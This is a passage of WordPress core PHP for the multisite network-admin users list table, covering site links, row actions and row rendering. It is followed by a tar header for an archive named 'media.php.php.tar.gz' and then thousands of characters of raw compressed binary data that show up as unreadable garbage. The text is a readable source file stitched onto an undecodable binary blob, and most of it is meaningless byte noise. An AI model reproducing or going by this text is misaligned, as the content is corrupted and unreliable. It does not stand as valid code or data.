			 * @param int      $network_id   Network ID.
			 * @param WP_User  $user         WP_User object.
			 */
			$site_classes = apply_filters( 'ms_user_list_site_class', $site_classes, $site->userblog_id, $site->site_id, $user );
			if ( is_array( $site_classes ) && ! empty( $site_classes ) ) {
				$site_classes = array_map( 'sanitize_html_class', array_unique( $site_classes ) );
				echo '<span class="' . esc_attr( implode( ' ', $site_classes ) ) . '">';
			} else {
				echo '<span>';
			}
			echo '<a href="' . esc_url( network_admin_url( 'site-info.php?id=' . $site->userblog_id ) ) . '">' . str_replace( '.' . get_network()->domain, '', $site->domain . $path ) . '</a>';
			echo ' <small class="row-actions">';
			$actions         = array();
			$actions['edit'] = '<a href="' . esc_url( network_admin_url( 'site-info.php?id=' . $site->userblog_id ) ) . '">' . __( 'Edit' ) . '</a>';

			$class = '';
			if ( 1 === (int) $site->spam ) {
				$class .= 'site-spammed ';
			}
			if ( 1 === (int) $site->mature ) {
				$class .= 'site-mature ';
			}
			if ( 1 === (int) $site->deleted ) {
				$class .= 'site-deleted ';
			}
			if ( 1 === (int) $site->archived ) {
				$class .= 'site-archived ';
			}

			$actions['view'] = '<a class="' . $class . '" href="' . esc_url( get_home_url( $site->userblog_id ) ) . '">' . __( 'View' ) . '</a>';

			/**
			 * Filters the action links displayed next the sites a user belongs to
			 * in the Network Admin Users list table.
			 *
			 * @since 3.1.0
			 *
			 * @param string[] $actions     An array of action links to be displayed. Default 'Edit', 'View'.
			 * @param int      $userblog_id The site ID.
			 */
			$actions = apply_filters( 'ms_user_list_site_actions', $actions, $site->userblog_id );

			$action_count = count( $actions );

			$i = 0;

			foreach ( $actions as $action => $link ) {
				++$i;

				$separator = ( $i < $action_count ) ? ' | ' : '';

				echo "<span class='$action'>{$link}{$separator}</span>";
			}

			echo '</small></span><br />';
		}
	}

	/**
	 * Handles the default column output.
	 *
	 * @since 4.3.0
	 * @since 5.9.0 Renamed `$user` to `$item` to match parent class for PHP 8 named parameter support.
	 *
	 * @param WP_User $item        The current WP_User object.
	 * @param string  $column_name The current column name.
	 */
	public function column_default( $item, $column_name ) {
		// Restores the more descriptive, specific name for use within this method.
		$user = $item;

		/** This filter is documented in wp-admin/includes/class-wp-users-list-table.php */
		echo apply_filters( 'manage_users_custom_column', '', $column_name, $user->ID );
	}

	public function display_rows() {
		foreach ( $this->items as $user ) {
			$class = '';

			$status_list = array(
				'spam'    => 'site-spammed',
				'deleted' => 'site-deleted',
			);

			foreach ( $status_list as $status => $col ) {
				if ( $user->$status ) {
					$class .= " $col";
				}
			}

			?>
			<tr class="<?php echo trim( $class ); ?>">
				<?php $this->single_row_columns( $user ); ?>
			</tr>
			<?php
		}
	}

	/**
	 * Gets the name of the default primary column.
	 *
	 * @since 4.3.0
	 *
	 * @return string Name of the default primary column, in this case, 'username'.
	 */
	protected function get_default_primary_column_name() {
		return 'username';
	}

	/**
	 * Generates and displays row action links.
	 *
	 * @since 4.3.0
	 * @since 5.9.0 Renamed `$user` to `$item` to match parent class for PHP 8 named parameter support.
	 *
	 * @param WP_User $item        User being acted upon.
	 * @param string  $column_name Current column name.
	 * @param string  $primary     Primary column name.
	 * @return string Row actions output for users in Multisite, or an empty string
	 *                if the current column is not the primary column.
	 */
	protected function handle_row_actions( $item, $column_name, $primary ) {
		if ( $primary !== $column_name ) {
			return '';
		}

		// Restores the more descriptive, specific name for use within this method.
		$user = $item;

		$super_admins = get_super_admins();
		$actions      = array();

		if ( current_user_can( 'edit_user', $user->ID ) ) {
			$edit_link       = esc_url( add_query_arg( 'wp_http_referer', urlencode( wp_unslash( $_SERVER['REQUEST_URI'] ) ), get_edit_user_link( $user->ID ) ) );
			$actions['edit'] = '<a href="' . $edit_link . '">' . __( 'Edit' ) . '</a>';
		}

		if ( current_user_can( 'delete_user', $user->ID ) && ! in_array( $user->user_login, $super_admins, true ) ) {
			$actions['delete'] = '<a href="' . esc_url( network_admin_url( add_query_arg( '_wp_http_referer', urlencode( wp_unslash( $_SERVER['REQUEST_URI'] ) ), wp_nonce_url( 'users.php', 'deleteuser' ) . '&amp;action=deleteuser&amp;id=' . $user->ID ) ) ) . '" class="delete">' . __( 'Delete' ) . '</a>';
		}

		/**
		 * Filters the action links displayed under each user in the Network Admin Users list table.
		 *
		 * @since 3.2.0
		 *
		 * @param string[] $actions An array of action links to be displayed. Default 'Edit', 'Delete'.
		 * @param WP_User  $user    WP_User object.
		 */
		$actions = apply_filters( 'ms_user_row_actions', $actions, $user );

		return $this->row_actions( $actions );
	}
}
media.php.php.tar.gz000064400000067255150275632050010352 0ustar00��k{�F�(|�J�a�LHʗ$3�,y5�3��<�9��IHBLZ���oݺ�hP��d3{�g&&��TWWWWW��,��۳���Y:�-ҢL�b�H�Q>�>����4�mg��d9N��i:Β��l�����m�[�~��w���w�o���7o޸�o��/7oE�����0�t�{���}�rs��7������)�@�gE���g�#�����>Ò�1OF����U���rh>�-���M�ͽ�$��ET���8=I��2"����I���2��H/�n���_7�i�\�"h<��c�Ԉ���y���rjw���{�����H��.ڋ��"�honl���<�#��ۏ�v��ȧ��|:_��"�:�h{;�)��'�"J��byr���*�`T�o˾il�\Lb���b;X�4�@3�����
�d�E���xh�c������w��c6@�ɛ$�$�IJȉ�������"j�i�b�#0���y[��<�ۗ�d�L�+�<�12��D�i�yِ�K������!զ)�Vۅ!~�$t0�}��!�^T��0�	�(���?E�L�2�M�Y���N'�0�D���0ڢ��2N������H�L��tT�5�xb � M��ut��gv$���i{9(ҁTD,��A�q� G���QVi	�����b�n���c�G57�3.��Y=�9�0SH�&ecK�����fe'غ����ζ�t���iZ�$��y�������w�Q����;яϞ<����"������.����G���G��e}�a&�3�	���P�ڸ��pwd�4�t://D=�����1+&I�/������r:N�I.-�Z�{Q1�uY��=f��b]���<�E�xOa���}=���Xr�s�au+�ɲ�Xh�R��ыk�3f(����٧v�`��
�ۚ����=���y�Z#fFe1�T���з��l�����Y�r]��,(P���x�^���-l��.ѭ�5Z.��!m|��I�z��~�|���I�Yٗ*�z�b0���YVD̲��h���H'�w+(�{�l�L�~V�~��q0sD����I�H�B#3;�%�F@��a��½׍n�,�0ͮ̑�eOՕ*�N+�_{��[C��u�HOp0����%��dqڦ�(���#R��+e
��9I��6�q��;��i6M,�T�OW���~7�&��5��v��Vԏ�b�"��܁W����Oؾ���3nx��,oO2Z$�:p��-@Fώ�%-�S���'�$������D^PL�Y
�"}#2$�?>z�����F
�6����
ӡg8<�=��у{�ͪd*��9�)�$O���2�郟K����j�$;��jw�?��
A7_��tQ^4׆Y�O�dҗv��EҾ����v�y>yo�Tm��d�F�6#�f����b�S�%J���>�$밿��A!��;
���h��aJf�)0�t����f�4�"<��O�����$3��4;=�I��go�=�������8]t�p��-��,����)���;�_��i+FDg u,J$��:P*�V��.�A��XW@�RtW��+��e:B��eR�v"��g���AbQb��鞕S��.�S�!��r��#j��G��l�Ɓ�d�>�#5�b�I�~���6��S+����aK"��pMl�VL#��	g"�
b�e-��e�$5����a��*<!ˍ��X?�)�8M���0g��9jARB�k6�͋����B_ED�)��%�JO����?��W����l�W�tc��K�>-�n�cX��CoV�0\�հ\zE-Ý]�"_.�Ț�ժ��Y
rHQz\�݅)�k�E�`�b��Wa���;ABF��a��D��Ԋٓ\+�Nd�f�U��#DN�Ż�0D�V��1��'l���8��(��	0D
K�A���*�حy�EU_SW�z�xV�:Q{��ѲHǝ`叕x�rzPYJ�uh֓/.�T=���W+�W߼��䑁����$�)�Xr�;th7�i� �x���N��VO�$�t�O��'�т�i>�L�ԤlN
!j���fE�1�<�Èl`�3�# �"*���LT�HS������7���Sl<�F��A��a}":�
���&��+��4i���ʊ�d�C^g�hbwz��M�Q
*�Bje%Џ��t�R�Pb���:�̓�z��xa�xZ���?ׁ�~6(aQ�r��{e�5�D�5��̱�O_h���_�!i��*�i���o*��e�kt=��d�NtG�=$E�Q������`���3�z�v������}t����7�m�R��X	{���
�*���|��Ҷ\�D��8�w��)+��!j�k���&F����>Jz�}��z��Nt�����w��aă�$Mf���
b�3����n>{��)��IFd2�fi4\���i�pm��C���������/g��%X�b�_#�T�h�J����_/�����������|�@��Us������u�L a��[�۱�xz�-�4����X7�>2�fc>�����pn��7Eߘ��<�>�N5=����Ѷ<�M\�͓��i-�v��X�a�2�mӁvD.�s��ت��k T��Ḑ��
�WEV�2	
��K��d4�ۮ97�d�[�o�2��h���=A)�4}�ː�s�"��$��
IɒJ�i^�m͒�Ѣ}�N�7|��+��:�-L)���% �,r#X���
�b����#}=人GM!���r��zgs�v1Zds�G.��^w��_�7	�mA�7	�3\���q~އF'���t�WU���=�M~ɍ�*�9�}�ӯB@6)h��_
��t�Dh�ۍ�����̀ �di����J���	�q�iA�^�Y��>�T=}�H�N�t��D�)�E��C��H9Y�>����P@
y��\I����J�ΰ"
���(�_���� �r��=���T���_�ee
�Fާ�{G�n�X���I����Z��e��@�5�p��,Ǔ0Yag��~m���n[i%���w��F�5M
��C��[,`��vf�ᜑ�\��;0���M�KƲ	@���/0��N�w�D�_�G�zN�l�\TM����--�+ޮF���D
̼���s�7uW/f7���7M�B�#^y]�Nb�g�6X#�?���c.�3p7K_x����x�\k�@^�j8\xsTtaޠA�OuJ�˓K:�M�{�8�oŰu�G��µY��T}ö�H��p� z���Z�(KQ����W'�H�[���t��j�����Gq�t�l��f鹥�\7r�n���zP;FW�5��b�F7�[x�Ea-��Nr��jOz��'���ux���O�K�0t4!�'[��������0��hJD]Ҭ�/t�G����Wj�&��d����t�a#����sg��cP�t17ςx�������/��(�)-".p��
�%�.�7p����j5�f{���z�O�;��h�$��Ss�^��(��� �5n�D80|�fH�r�	o�a�|��-һ��rܡ�_��h]��U�x;�vs���ѵ[[E��9�f�C�6�\;����>b<�Ʊ؟2/3��F�C�n�
�zj`�F�ҝ��6�0��K�
�L4U_���
.�@��P�5_(��Z���Ь)%�6�.|�&z�����G<����Ŕ�~tm��Z �Q�p)�}kN��c���g\�6�l�k��P�����|ƫ>�M��6:��R�m��,o�ߧ�l�lY����:oW������
��
<�+�N��p�D��y�L�vllДR�|�[K�R��p_���_g!�_��y�K�s����|ĸ���u�H���l����l�p���j����c�3�@v݁��0� 8�l�1yDv�$��5yE�$v3�Xِ.�wC�*�3��USmĺ�B�v��-֡T3��A0����N�S𥳐�H���Չ�X���[�N��T6yM���J�
�u��XY�&0���#(Q������]�����Y`�`�g���.3m�G_���Ue%Ml>�3�+����y�v���c�,��� ��G,@ם���6[�g�r2��֌�����>�x��[}�֡�*)/�>�ZM��G�{f3��Pk�#��y6C��;����5(g>}䧫��g*?�vR>2V�0���5��X8T8�%H�g�����>�@�>Wx����}.�sv{4ɐvJT��^�nG��^�Qr�g�$z����$����䶷_dH
�"�mK�����~~�{Ag�ށ������+cv�KF�lUh��7^��
�x�FtWPMZV��怈�\��$?'.8M.�.4 ��9����gY���4_\0

��V|$B�VF׽�Za�V]`.¼bZ��NC��Dtю�NlE<s
<���Xшj&*[��XWB�ReuLE���-k�%t_5ݚBQn�v!�)Z���}NO�H�@��UN�&U\�M칔�T)�U�L���G.�����8-F�A]��R�G����3�.pg��$���Ԥ���Kp�uU�:X� ���!���\K��#�
N�[�����G�
k=E���泦��m�3�H#xZ�z��r��-�k��+��Z��9U�ڤ�R
p�F�i�gt���2�z���7[t�w+�R�t+j���'U_YBn���R�؝���V�e�ʸ����[���I���	�
��v�Ge�?�\������`X҅�=D����|���~D����m��<J&�R.�ݫ~���,N%���A�K�dޒ��`��Ev:KJ��s%�Z[�||#�e:�!6C�l-��]��B�Ӓ�4{���f��]���#��9��� �a�
��qA��qE�Az��j��wDoH��8@�0=�f�J����٦a8�O��o�Ē�E����w��a���
[�˿޼q�+a�ť��m�ʘBl�:Hg�.�%l���x�O�Â2˳b1C�s����d��eK�t�"��Y���߬:��8j�ݩ�i1�O]���Zʟ-�"�J�!����b�Bϔ�彖��C���ox[1D���w�Ik����7�{{�r6�@��/۶R�����%Q��?�?�!e`�|�yg^���X�Z��q�L�]��tg�A���vٺ'�%y+.Y�4�~)�S>�����5�+6
y���J�%���ő�x�(8|�V�PS	���Y�)x�&eQN��U�>�zKL�fOc�2���8pE3ZGG���`��:úe�C�DD�E$m�Y�\H���8iDHI�D����>O�x	�0�F#�Ꮚ`��B�d�?N��S�`��u�?`;����Nd�3���^��`_�R$���a��oB�����܈`ƿh-��N�}V�c�����w�v���
Ш�Ec��!ھ�)�A1OG�I6�7S�l���vV/ց:�Dhq�/���0&��<�_u�Ez"BI�
7��4�?�삺s�T�
�-��;�-�z��<x}$s��';x��(���<[�����S�,�6��e�~�5K2 �淀���z�,��_��:�!�>�ڧ���X×�ї��	nk�ߠ�����`Y�E+`6(��'I̻�^N�\�Aq�
�ZCz�KW{�teނX����)�ߢ#E�Ix�,Kv�\/v�>Zс�����17�'����{�8-���.c�"X�[p>/d/�S��7���f��Ṱ�ӝ,��z�HS�2�8��N�N<T2�:>��F�DT�?��
s�B/�q��%�PsE^c�N�݈��Dբ⎬h�]x�*7�Nμ!�m&��MJ^+L�U7Ga^�W�t�=��=4�ڿV�Q���?^|�b�)f�φ@�g/�cP��K�,$t0*B��ѣ���]ր�4	����ߝ�"��Z����4ԬTx[��]�'#�Z�b���d��@��S�P'�e�4{��к\�Ok|���Oo�����Iȸ���8���)�\^A�䕊E�Nh��>����|�o�Sk}������j+Pt%����%�,�D� �ެ�B+���F.j0��ㄷ��?����|�=)���_�~c?E�!k,�c�bň*�P�*����Hlh*dĢ�B���L�`��0]D�qZn�Ց�*4��S�
��5N�V5��ը\���L����hb�@��	�u !-|���xA� kkuı�8tZs7!��D�$�&N�*�4ll]9k��g|I�ب��j_�L��k�g�t��z�+������-�T�Ќ�q��c�p%{V�Aߥ�����a�iF�wd��&%c��hj�n�A�+�8��o��i� h�U���m�􁉖B�!�^Q�?N�:�����2��T�bʒ�媈�8�-^p,�j�E�M$Hv>������1���U;N
���(F�?-�Sц,�q��"�A�B�ej��H;*��\���@���}���$��6����g��98�󭁑��_e���ԧ��(��JxT��X��66P*�f˴j�hЯ��Fτ�Ծﭪ�v5��7�5�W�YfcO�԰�/�=ԛ��N�s@�B�y_��k6�d��<�������k��iߘ]��~a�|����2��n��#mZx1����I�9u����|Q[�-��Ҟ�8/H�����c��RP�Z�n�y��ڪ����q�ψ�Xd���KvW����O*tm_�m�
ҋ�Uu���0,�j�k�tϩ��v�5=�uGY��2@�zȷU}�O~�&����~!�,"����F���`	��:5"�ٞ�-SQ1�wGեzl���=s�j�U~��:�*�]m�Ѽ�n����2y���i�����Rf�e<�X���Mz�?-�� 67��m8�� �h�IV��V�B";B���L+u�!��Eۢdc�J!ƟW��:��u��
�b!�C��0�h]�U�J���P�P|^�!	�ȵ`�,�D�56�;+�EYU(���O�\�KK�xُ�F�͊P��k�F�f�B�����B��jfHZ�Su`w���U��؏�́w\�w�n?���>�����.�^�U���s���P�����ds��֖
��������1��8��I��B���U9��4B��l缛7sNQ��Ў.'���W*Fe���8��"�:0>��$p�5�<q5�'����N�w98s��Mg=�h��n�l�oW�Z�L�qcu��h�'�ut2M��k8nY0.G����ې�{2���S����f$�����ذX��I��l� ˛Z>�\��Q�#vm,F� ��i/x.�H1��lok-0��:+�9|�GǕB��gCm�OQ��K����P�j��K!w��
ɰ�ئ2�f<ԅ-��'..!�ո�Ȟ�r�yj����m�d!su&�b����7w^��d���R�֬���Pk&-	����&>�R�N��ɩ8��ւ-3~����'�K�Ӛ�AԆ֙�J�:�}%醧&�X�sIw�ZY�
�>�C���I�*C��›�g�[h:��;�ބ�{n�
m1�w�
6T���ܸH�jwo�VC[l�n��QA-*?0��c�
�zⰹ{J.���8q�"o�;ܙ�.k�V��Q�AE�9ON��:���]���0��^����ѶLj�k��[�+�Aa��O'F�.D|3eVc.7f
�Y(�w=�w�&�o(��K�@�(�e�q��8�Yۡ?��5����Դ�h�>qO�/�`�q�w������n�WY�*~�q)��"��2������NP�;m�M�`kbl��yb�2����f$;v�L͕��[x�����r�	U��i׮��ߪe-��՜���`���I��۫`G*�EX>�皒*J���@�?:#�F�芠�d&�B+��۩�^㼚�ى��aƖ�1��S�ےv���!�^~N6a��X�D*RL:F��%=7�_�ϵ�wBG�=1v\؋��������\���H<�^	�Ш��O߫��z�5&���\���q�vu���689n=u'etn��&�ـ�����4��+ɩ��.q��E$����<6[��4�pS� �L�s� F:+8yc�O���2I큡�rV�\�Q��Q.wW��꫽�eﭷ�H@�`�"��>��2��4��j�����%	��4�_ۻ��I����
�{��i>_N$p�� u���(�7LI��lr���zPP��a�y�l͗�c�[^#}� �8ge�2�clK�v��U9�2?%k�yj���3z:�N�^��u��,��!��?&�Hm��̲iS5�,��eJ�a	��J?��G�cSO0D��#}U׈~�A�7>+�hP�b����9��)4Z�Y�g�t�"��hW��kU[�:G���)WB��u��i�9C���M��п��kpغfK�N�?֯�,{W�@?1�ѿ^�9��e������{�Z�w^�3�@g/��6?�xS��
Z1G�zI���ޠ�;��cs�$YI�Lq�D���Lp�Z�X?�8#�H:�
h�N4�G�$��[.��m���4T�/h���\�I�x��0L�"�\��PD�Cz(�qm�&p�˹�'uFX��(�	A��˓�}�%�P[o�<]L��B8��o�����%W aWc���f��Q��[�������‚vq�f��ӝ�w��m�$.L1;�Y�"D��O���U&R
C���*�6%�8?f$cw#�\@:�&�1�����ǀ���.<�v9V��D�'���Wkgx $�\6(�B�
w�*�.��[Ey�#��h��u*V�l�S�8��U8���ɲ;h��f�ٌ:x�q1%BJA+��T�x+�6�79կ�����Z�8Ɇ��/~�I�����isx����ל�����%�E��D���
�4�,e��a.���K5�p�,���[�Ow0�B9�f�1~k[�7i(R�V��η�@�h��)�{WR9�N�'GZЖ���:$b=�Z�9�bV}{H�M��]y毬�u5��3~��\O���b� �6�!��O�$�y�ţ��USh��I���I2�io�-��j�q�M'GǼ��(!0D�D�1ݔi��蝄0{p���qLu����M���
Ǭ����ęVD�oE��dw�>�_�����0MQ�l��y���5��3Q�45���������~�W6�#�$�Zg�Sb��fU[M���p3���&�
-m�r��v�:�.�ת(f�
s@5'j�GV����!���v��ۃ�JK+�YW	v��@�t���ĵr�Ňg��p�r�G&Eu�0Y�.���>���:�(H�'md'
�Th0:��"%WP����[���x�&ov����iJL�H�`�M���=3ܘ�PG3:��WxX���4��5Γ˩b䗰8�Jdq�.����L*����
̈�A�\1\g��Ǜ���P�"����w�k�?9_�����1�U0�p��(
R�[en�߀��?kj�� +���I�0�V\P��
P�ԕD=�>{	���L����v<��mA!���~.�
��6A
����.�	�fb��* B�g<\i�k�a�L��EaN�d
��S��y��4��ݻv�(�$6���B��g�l���c�|�id��W�_rv�݌�%�5��;��l���%��;�<��
��vL�)yz����{!�Z>�ϙD��џe'�
8Z6"�s��B{�(���Y:��-@?n_5�ݯ0�i�������:�(d���1�̰�㳅>�l�3g���X�wR��,?X&��gL�O�X�O/Y��/��
0/�,f�פ
��N�
%Hc��茰��
xUKFXk����4��
*�mPdGv�1�5؅뢕}��\�,����qf�D��"�z�f䖜�Ց��D���L<��pX>�67<.CA�ҡ$�P���C�bǖuT��w1C�2�b�#ܘ��T��@�{�j/��jغ
��v��J�	�ܨ�
��̌a�|t�<U+;&¬v�b�s�C�`�CG�rJ@B�I�Y��K�P��U�Q�X�d�v�[�H�h���h(fB�7��3+���q���L����dhu��q[�X���dNf�&G^�?��v个�@�[�M<�m����QJGlC@�W��:�m�L�&��f��(~B.��6k���J�g�˸��*�ڎ�_v:9"Tm����7i�g����xC��E��g���ާ�]�l��,�'>����_��q�Q�7^
���_�%k���&��J�I�|�\���\K��*�<؟�s��f�0���t�8f!PQW�t�N��	u֓W��Vc'T|��.��,��f�$�����Y�':�A��(�lev�t��w�v�~��LQc[�B�6�}ݱj�]{o��]�jV>�KMt��HqR����W����0�o2�uC�u���!B�=ɨ�2�(������gƦ���6����]k|uɮ_A|�M�a����28�Ϝ��Y�ug=ٕ����V���T��<�Sih�2�5�x?i�L��XA��-&�ނ�œ�֣*EnE/pȥD�J�,�}X�$m��!���.��G����+I9!݄VN�)�;@�2�aQ���`��;��6���wfS��0ꓵ1r�2�͢��(b�g��P�U8p��8Q��hu�0EޯQ2�߰�%�*m^L��9sِ�p��w�Ui��ve�d�V[k�/��>�{���	*
�3*��V9�s��|>�:s�eh�3X��X7�������Ҵt�	󽭋z����-�@a1]g�����s����-�u�=���r���{���0�p�����Y�N�HdWQ�I�W��*?�q�z�Dn�v*��lW�Z�z�;�q̻��W[�M!���s5�6��~1Y��q	I�u��h��L�ܗwhPX঍߶>�tIV],�Q#g��x�y��.(\fbg�I���i?�Mz0Y��@�#Z�6l�"-E��+YVDiRd���&]؞Y�%�&g��;�u�U��y0#FsW��9w��P=��V�ә�Մ&�X:]���z�N�S�������Q�vk�Q"%Y?\�/�Z&�㨖��b���L���i�;'��=D�D��W��i�6�0�=�[B�7<�nD���wn^�EJ{�ϒ�aV$��Ʈa���1loŶw`lr�(M�0�Z!N0DF����.5�X�W�
_{[��PV��d��V�A�����G+�6>MKf#�Ċ�cE7��Qz�˵:�.��)l8<15��Jt���2f�<t�xͲ�/�Ӆ�y������y>#꟱2쨹Tg��7@�0	��2r2�!�b;g'x
��׈�SC���-�r��zu�?"��z5Eժ��9P}t��=�̺�{v�x)b�#�1E��8뻨t[;����ZJ�
�٪��+��V�U�o�(W�#��TY��P����_����D�Fg�d�Hg�`�IT5c5	�=������)Cg�ᅵ�R����.Ѐ_6v����w�+E���Xݐ���ASh|�XtV�Z6����V�P�]�����Y�T-�h�Qz�����|�
rZqWð	�`v�e�x�آ�b{�5 >*��Q*�*>6B#G�C���j�h�4�Sg��h��rF6=hSÁ��`o��r.u�#��^~ҫV�™�~�����8����^�1��ׇHR � =�lc��|��s~���Zu�wA��h�<�x����ӝ��8[�vb��W�
�+k yMf\۪��MlX����;�I�l��6ry;|��=��F B�,"HIFl�\ل��g����k�1T��=�m�4�"=R��j �R��V��Y{�V����:U�'��XW��ll����[y�P8
�� ��i�c�mY)���i{
�M�|��=,t�E
�;�ݟ�r��
�W�yUkuD���������8��������txO:QR���؆Egj3T�zzA�m�LrzTiL8���K<���g�L�3.�%]t�WӀM�
-�cK���p�S���J��������Ϊ�q>�en���4�~<91�b��{�6^���}��Ͳ���w:ݹI��{T/_�PxZ���C���ne�m��u5?@��N7���40��Zz*3��*e��h��7�ݚ��:b�D�í�MКg�n���VZ�d۰>�ˎ��	7�i�H��I���sG�1`1_�
]�a�b���ۉU���hLW4ô��=����_b,DC�q��''��''&������P��]J�oLhH/g��y�<�Dv5Q�Hy���Ѧ��[�6�d���v�l�
G�h�u�O�b������f�9a*Ǚ�$[AXI��Z���@�؍����Wg�d��w�!%C#f�yK��ʆH�A��O*ǘ��y�^5a�`e��*���:��U�gT4�N
��;]�.�zf��pĽV,�U;��p�ڧ�����2��c$�G��q�rjU�0��N���^q�p�
1��$�0��zi5��(��x�gS�ķ(��+bY��
�b)8Vg��l9��,%�N�N�O��>�?�l?�;����w��>�����0$K��H�^Cj���z?1�1�4��9r\�]O+�Mb8�6-�jX=%�\�ҵ�]{�������br$�	�mC�B	�F�`%�V
�"֫6G�	J��s@_��%}:ji��Xhh�b5V��[{�E{�{���LQ_ݡ��8�G�9�^���}Ŏ=�������I�w�mV�<��RRS9j�섏y$Lb\��=O7+~Z�J��n�����o?D	���,t�+�H�rE��
�l�u�N/���Z�xZ�x���m7�vCDLs W���P�T�F���^<N��kt��Z�9�q�{x�8!�+$��Nj��v96C�p�g�'	�0v���q��-\g3P?��V�%��1�ǎw�54ȟ^�Nn���ҍ�W�X�ԟ�;��DFŽ�'�$1[l`�g�g`��5���̮�d������&͔䕆��<�D�D|��^|3v>��/�4�R�����,u����o�u��n<���(*\8�*�k�H��{�/I>%��=s��u_�	6X�H�6�
h!��6�=O�#R�U�sZX�b�{ln��k[��C�E2X��2��GT�
&�_�>17�\�fI�MT1L!�JҜn�8{-l�-�Z��Z:��H��t���/�l��k�%�H}�/I~'����>;x����?�[M�؏��@�i���cz�s�q����|?�Z�1��G�!�9���ծ
ӊ�����1�O�GÒL>^�R����U��RwN^iNBxٲ�၀���.��XX�R�H�O|�/lD�I>z�&�u�/[ձY>H�X��buoz�
2��v����0f;0�b'���{W_��7�u�ډ���g�Ę�hc�$�rA�56��,��;-��~�X�2�? 9����ܽ�&�NMFXt���
�|��8�Ua_�F
����'��c�z]�&��eN����J>�"WX}���@D�|	�*�/g�@��3��l�7�?�;A'n��O�tvb�"�ʨ��nk�L�����@r��=��~�*'Â�
ju|j/�=G�r�_A�����5_M�4B�v��;�
��A7�ia�׈�w0f|{6q6Fʨ�
��俩�7"Xz�x1Q�J�@�A�Gls�{�je�ϴ�j�OP6�{�H��•S���5�[�<
I�\����J;�-��%�$oyU�Em��*d愯��-Yk��?w�>k�)]e=�j��ٞ�~�<-
!�
�}������^�:>o�e�n�1���`K�}��'��%��|���
K�
��B>	7�Vf�z�C�r�yC�w"���n�����V=@t��9��<�G0	-A�a.4��w�p�5�֪�P5�QU.F6��Ӏ�wdc���H_G�f����3��ݰa��J��0��&@��9�\�%��f��S�3�
j��'1�O�C呸�G���a�o�ŘZ�t7�M��'���Ir̝�|�jΚ[t�F[ӻ�l&9�}��E$�^�Y���R��}����t����}��Xx: ��o�\ƛ�wBq����b�h�ѯF*�&i�`M�A��j����g_QH��kT����e+�,�J��]���Ƌ��9�^䣕����@͞�a'*^gs�?oZ�����S�s�d��'���T�W�t�������!�;�?Y�ƭ��hzE��2_�N���E���iI.��᝿�>0׭��T�rHpݭ�%���h��@�"u`s�ﲋB�>[N���\��P�2��1������e�L5�9E����R�2�ު��]=g���Véj�ǡ�u�CCJ���Eʎ�2��B,��Hv7؀	��q,}�*�?��TT��掽Pbf�!(��4C�ʇ���Aq�l���Ӑ���Uk�~��ظq���]��U�|�9Q.)�k���V��%2/�.-��VܥQ����|����p��o8|;�A)�j��C�Ta��7�k�ƒPप���9n�Z�X��Ԩ�C���k��,П�>���P�ֱ:��4�
�\cȗ��X�kdSm_���|�����u��@�{!m����ک��0�d�G��G�h�9��R���Q���D��9\��R�[��0��>�Yt��S����]}E�jS���^�b��F�ɺ����5�h?�Վ֟������z��������6�\Ki��{�7��^���x��a�s������j�+�ۭ}51����Ƕ�Q�g7|uq����!7���^k�&x���_�>IΜ�2[�8�M�.��_y�����
 ��
!��;�mx[�繱B�h̩.5��D-�M2����G�*�*��ѶB��1M紕K��\��:$r��t��)�>�Z+U���z���S���.i�չp�^��w�����?�6f��G
��N�w�ʪ��)u%�,�+hiE5k��JG[��!�mU��?��mԪ��V�Ḋn5�L��Z����O5뿿��%���v��ֲҥ��kX�n�"2��EK�fe�!����H�k�V�}��f�o�y_��T�x�Լ;@��_���ǘ����B}3,Z�AO�sWd��Q�Q< E΄BIo��K�S�	�rg�jz��!�h���iS`�t�\��l��Z�~g��܄HGg9��RS���I�$����:$��G@�.H^TH���
Fg�|�N`e��.��m��Cm��ac<D�z`�mӆ5��p�9`/��Cx��0�ՠ^��Ӊ����M���%�2����l��\�-�+���7̉��r^�lo'�y�?�u��X�~�8��bIԖF��0�VKFq�/C��j��	�Lw?Bc�)�c��Ȝ�
Ҝ���5�x�!�E�`E٬(�$�.D^3�1�����3�0��.U�H!Ö����D��D>0�-�>u�ml
��T��wG~�!o������k��a����[Ct�\��x/i=���~�IZk� ���	�d���~�Ȭ��JP�X���U&�TJwN,�	��."1�សἱ�
`�Poo�����I�����!���y|��%�l��o���ml�Q?�jR\���f�[>S�ѯ˼L�~8��%,��ѧ��u��Ҥ�粰0�����8HR����鼅\�K0LOL
xa�mX�=�c@�0��I���8 U���{v+�4lؚ�2C�0l`~T�d�3�����?N�9���go@� ��$�l�S��~��/�����b�
~�v�@lut
�|�Ȧd�j�3����:F��%���MqDUz��.�x�Ѽ.l���F�u��OmA2i�i()����(.�Od����KӢ�07
e:̍������E�t"��F��q_Q� �Z67����� ��Z,g��*�jHwg�b<�Ǭ��]/�$F��
w�WxJ������U[�8���	��>܀^�WE6��&�_?x����"��8v/W�d���w��u��7�{��g�a
q�wa�n�p̦E����\��"9�᧞
cOB�K5#	�g���8���pm�6m┆"��r���:��'��+{�C������[�p˓_��B�{�-&@��\Ξ<��''�"��B�MNR���~�d���_�Z��Lh��)���#N�*HIo�q�+���|��<M�/o��f�ƱIS�=�a6��U�������ώ��^�������.F�q�5'�z�(E���s���Ѥz�Xp�W̚p��Ѷ���̩'����)�*P�P6c؏�}+�\50_�m�l;��a(�ߛ���X��2akf�6,�[ښ)��M�+�a�=T����X�W���ēՇC#��#]d'6�/���N�w�	{��Xc�!J���ϔC��Y��Q����5 sYi���ߚS��t�F�;�w�8|�,0�AC�S��-b�QC���������9ބ%�!���lUV�/��t6"
qm���]�B�$��D��2*�3�K�����/�&O�S�\Mt��� ���
�h�T�Op����%=���o}-�j�4��Do\`��
F��J��l$��󜉋.�p��o���j؉T���L,=�<(�6:��`�3Rˤ��HÓ&Z�&̓h�MTYK[�������R�֒�2]|$����h
+��ĦO���P�\�0��*%v��c���NX>p����,�;_$s^\|�,(Ζ��ނT�=��Zt��Un�c3㫮8����Q2��VYyA��O>Q��B���]�xƟZߍ��j�5�a�(C1���e�^1�����ȹ9�]����8dܗ-��*��|�/��E:��{���a�A0�i�݇��s�����gV���
�4�x�ڿ�*�����w�MY��n)yk�ĝ�[�u
